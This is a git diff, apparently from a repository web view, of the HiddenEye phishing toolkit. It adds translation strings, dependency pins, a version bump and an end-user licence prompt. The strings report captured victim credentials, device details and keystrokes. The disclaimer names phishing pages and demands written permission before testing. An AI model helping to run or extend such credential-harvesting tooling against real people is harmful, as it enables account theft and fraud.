#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:42
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:62
|
||||
msgid "{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:43
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:63
|
||||
msgid "{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:47
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:67
|
||||
msgid ""
|
||||
"{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n"
|
||||
"{2}________________________________________________________________________________\n"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:48
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:68
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1} CREDENTIALS FOUND {0}]{1}:\n"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:49
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:69
|
||||
msgid ""
|
||||
"\n"
|
||||
" {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:50
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:70
|
||||
msgid ""
|
||||
"\n"
|
||||
" {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:54
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:74
|
||||
msgid " {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY "
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:55
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:75
|
||||
msgid "{0}Do you accept {1}license{0}?"
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:56
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:76
|
||||
msgid "{0}Enter: {1}{text_to_confirm}{0} to confirm."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:57
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:77
|
||||
msgid "{0}You are {1}not allowed {0}to use this app without accepting license."
|
||||
msgstr ""
|
||||
|
||||
#:
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:58
|
||||
#: HiddenEye/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py:78
|
||||
msgid ""
|
||||
"\n"
|
||||
" GNU GENERAL PUBLIC LICENSE\n"
|
||||
|
@ -1028,4 +1258,3 @@ msgid ""
|
|||
"Public License instead of this License. But first, please read\n"
|
||||
"<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
|
||||
msgstr ""
|
||||
|
|
@ -1,4 +1,8 @@
|
|||
|
||||
certifi==2020.6.20
|
||||
chardet==3.0.4
|
||||
future==0.18.2
|
||||
idna==2.10
|
||||
pyngrok==4.1.9
|
||||
PyYAML==5.3.1
|
||||
requests==2.23.0
|
||||
pyngrok==3.1.1
|
||||
|
||||
urllib3==1.25.10
|
||||
|
|
|
@ -1 +1 @@
|
|||
0.5.4
|
||||
1.0.0
|
||||
|
|
25
views/EULA_view.py
Normal file
25
views/EULA_view.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
from gettext import gettext as _
|
||||
|
||||
|
||||
class EULAView:
|
||||
def __init__(self):
|
||||
self.EULA_messages = {
|
||||
"eula_found": _("EULA is found"),
|
||||
"eula_is_confirmed": _("You accepted EULA"),
|
||||
"eula_is_not_confirmed": _("You didn't accept EULA, please open eula.txt"),
|
||||
"eula_not_found": _("EULA isn't found\n Generated new EULA"),
|
||||
"eula_is_invalid": _("EULA is not valid"),
|
||||
"eula_start_of_file_unconfirmed": _("# Please read and accept EULA below\n eula = False"),
|
||||
"eula_start_of_file_confirmed": _("# Please read and accept EULA below\n eula = True"),
|
||||
"eula_was_just_accepted": _("You accepted EULA, you can enjoy your HiddenEye experience"),
|
||||
"eula_was_just_rejected": _("You rejected EULA, you are not allowed to use HiddenEye"),
|
||||
"eula_power_and_responsibility_message": _("Great Power Comes With Great Responsibility"),
|
||||
"eula_do_you_accept": _("Do you accept EULA?"),
|
||||
"eula_enter_to_continue": _('Enter: "I accept EULA" to continue'),
|
||||
"eula_input_prompt": _("HiddenEye EULA>> "),
|
||||
"eula_full_disclaimer": _('''
|
||||
The use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER.
|
||||
Developers assume NO liability and are NOT responsible for any damage caused by this program.
|
||||
Also we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this
|
||||
software to test device, company or any other type of target without WRITTEN PERMISSION from them.''')
|
||||
}
|
Loading…
Reference in New Issue
Block a user